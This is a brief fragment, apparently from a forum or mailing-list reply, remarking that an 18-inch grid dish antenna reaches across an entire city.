* 18" grid dish does wonders ... all the city is in the range.



=====
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(of original message)

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